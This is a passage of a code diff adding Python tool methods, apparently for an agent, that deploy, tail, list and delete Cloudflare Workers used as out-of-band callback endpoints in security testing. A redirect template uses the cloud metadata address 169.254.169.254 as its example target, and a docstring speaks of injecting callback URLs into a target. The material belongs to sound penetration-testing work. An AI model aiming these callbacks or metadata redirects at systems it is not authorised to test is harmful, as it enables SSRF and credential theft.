+ code = worker_code
+ elif template in _TEMPLATES:
+ code = _TEMPLATES[template]
+ else:
+ return (
+ f"Error: Unknown template '{template}'. "
+ f"Choose from: {', '.join(sorted(_TEMPLATES))} or 'custom'."
+ )
+
+ worker_name = name.strip() if name.strip() else _generate_name()
+ name_err = _validate_name(worker_name)
+ if name_err:
+ return name_err
+
+ if template == "redirect" and redirect_target:
+ if not re.match(r"^https?://", redirect_target):
+ return (
+ "Error: redirect_target must be a full URL including "
+ "scheme (e.g. http://169.254.169.254/latest/meta-data/)."
+ )
+
+ # Build the project in a temp directory; wrangler reads wrangler.toml
+ # from cwd. The account comes from CLOUDFLARE_ACCOUNT_ID in the env
+ # (verified: wrangler picks it up without a toml account_id key).
+ tmpdir = tempfile.mkdtemp(prefix="dn-wrangler-")
+ try:
+ wrangler_toml = (
+ f'name = "{worker_name}"\n'
+ f'main = "worker.js"\n'
+ f'compatibility_date = "{_COMPATIBILITY_DATE}"\n'
+ )
+ Path(tmpdir, "wrangler.toml").write_text(wrangler_toml)
+ Path(tmpdir, "worker.js").write_text(code)
+
+ args = ["deploy", "--no-bundle"]
+ if template == "redirect" and redirect_target:
+ # --var keeps the target out of wrangler.toml entirely, so it
+ # can never break out of a quoted toml string.
+ args.append(f"--var=REDIRECT_TARGET:{redirect_target}")
+
+ returncode, stdout, stderr, timed_out = await _run(
+ args, cwd=tmpdir, timeout=180
+ )
+ result = _combined(stdout, stderr)
+ if timed_out:
+ return f"Error: wrangler deploy timed out.\n{result}"
+ if returncode != 0:
+ return f"Error: wrangler deploy failed:\n{result}"
+
+ url = _extract_worker_url(result)
+ if url:
+ return (
+ f"Worker '{worker_name}' deployed successfully.\n"
+ f"URL: {url}\n\n"
+ f"Template: {template}\n"
+ f"Use wrangler_tail to monitor incoming requests.\n"
+ f"Use wrangler_delete to remove when done."
+ )
+ return f"Deploy completed but no workers.dev URL was reported:\n{result}"
+ finally:
+ shutil.rmtree(tmpdir, ignore_errors=True)
+
+ @tool_method(name="wrangler_tail", catch=True)
+ async def tail(
+ self,
+ name: Annotated[str, "Worker name to tail logs for."],
+ seconds: Annotated[
+ int,
+ "How many seconds to listen for events (default: 10, max: 60).",
+ ] = 10,
+ ) -> str:
+ """Capture recent log events from a deployed worker.
+
+ Connects to the worker's real-time log stream for the specified
+ duration and returns console.log output plus request details (method,
+ URL). Use after injecting callback URLs to check if the target made
+ requests to your worker.
+ """
+ auth_err = _auth_error()
+ if auth_err:
+ return auth_err
+
+ worker_name = name.strip()
+ name_err = _validate_name(worker_name)
+ if name_err:
+ return name_err
+
+ duration = max(1, min(seconds, 60))
+
+ # wrangler tail streams indefinitely; the subprocess timeout below
+ # is the intended stop mechanism, and its captured output is the
+ # payload, not an error.
+ try:
+ returncode, stdout, stderr, timed_out = await _run(
+ ["tail", worker_name, "--format", "json"],
+ timeout=duration + 10,
+ )
+ except FileNotFoundError as e:
+ return f"Error: {e}"
+
+ if not timed_out and returncode != 0:
+ return f"Error: wrangler tail failed:\n{_combined(stdout, stderr)}"
+
+ formatted = _format_tail_output(stdout)
+ if formatted:
+ return f"Events from '{worker_name}':\n{formatted}"
+
+ return f"No events received from '{worker_name}' in {duration}s."
+
+ @tool_method(name="wrangler_list", catch=True)
+ async def list_workers(self) -> str:
+ """List deployed Cloudflare Workers.
+
+ Shows all workers in the account via the Cloudflare API. Workers
+ created by this toolset use the 'dn-oast-' prefix for easy
+ identification.
+ """
+ auth_err = _auth_error()
+ if auth_err:
+ return auth_err
+
+ env = _resolve_env()
+ scripts: list[str] = []
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ # Follow the API's own result_info pagination so accounts with
+ # many workers are listed completely, without guessing what
+ # the per-page limit is (the API tells us per_page/total).
+ page = 1
+ while page <= _MAX_LIST_PAGES:
+ response = await client.get(
+ f"{_API_BASE}/accounts/{env['CLOUDFLARE_ACCOUNT_ID']}/workers/scripts",
+ params={"page": page},
+ headers={
+ "Authorization": f"Bearer {env['CLOUDFLARE_API_TOKEN']}",
+ },
+ )
+ if response.status_code != 200:
+ return f"Error: Cloudflare API returned HTTP {response.status_code}: {response.text[:500]}"
+
+ try:
+ body = response.json()
+ except ValueError:
+ return f"Error: Cloudflare API returned non-JSON response: {response.text[:500]}"
+ if not isinstance(body, dict) or not body.get("success", False):
+ errors = (
+ body.get("errors", []) if isinstance(body, dict) else []
+ )
+ return f"Error: Cloudflare API reported failure: {errors}"
+
+ scripts.extend(
+ str(s.get("id", ""))
+ for s in body.get("result", []) or []
+ if isinstance(s, dict) and s.get("id")
+ )
+
+ result_info = body.get("result_info") or {}
+ total = result_info.get("total_count", len(scripts))
+ per_page = result_info.get("per_page") or len(scripts) or 1
+ if page * per_page >= total:
+ break
+ page += 1
+ except httpx.HTTPError as e:
+ return f"Error: Cloudflare API request failed: {e}"
+ if not scripts:
+ return "No workers deployed in this account."
+
+ lines = [f"{len(scripts)} worker(s) deployed:"]
+ for script in sorted(scripts):
+ marker = (
+ " (created by this toolset)"
+ if script.startswith(_WORKER_PREFIX)
+ else ""
+ )
+ lines.append(f" - {script}{marker}")
+ return "\n".join(lines)
+
+ @tool_method(name="wrangler_delete", catch=True)
+ async def delete(
+ self,
+ name: Annotated[str, "Name of the worker to delete."],
+ ) -> str:
+ """Delete a deployed Cloudflare Worker.
+
+ Removes the worker and its workers.dev route. Use this to clean up
+ OAST workers after testing is complete.
+ """
+ auth_err = _auth_error()
+ if auth_err:
+ return auth_err
+
+ worker_name = name.strip()
+ name_err = _validate_name(worker_name)
+ if name_err:
+ return name_err
+
+ try:
+ returncode, stdout, stderr, timed_out = await _run(
+ ["delete", worker_name, "--force"], timeout=60
+ )
+ except FileNotFoundError as e:
+ return f"Error: {e}"
+
+ result = _combined(stdout, stderr)
+ if timed_out:
+ return f"Error: wrangler delete timed out.\n{result}"
+ if returncode != 0:
+ return f"Error: wrangler delete failed:\n{result}"
+ return f"Worker '{worker_name}' deleted.\n{result}".strip()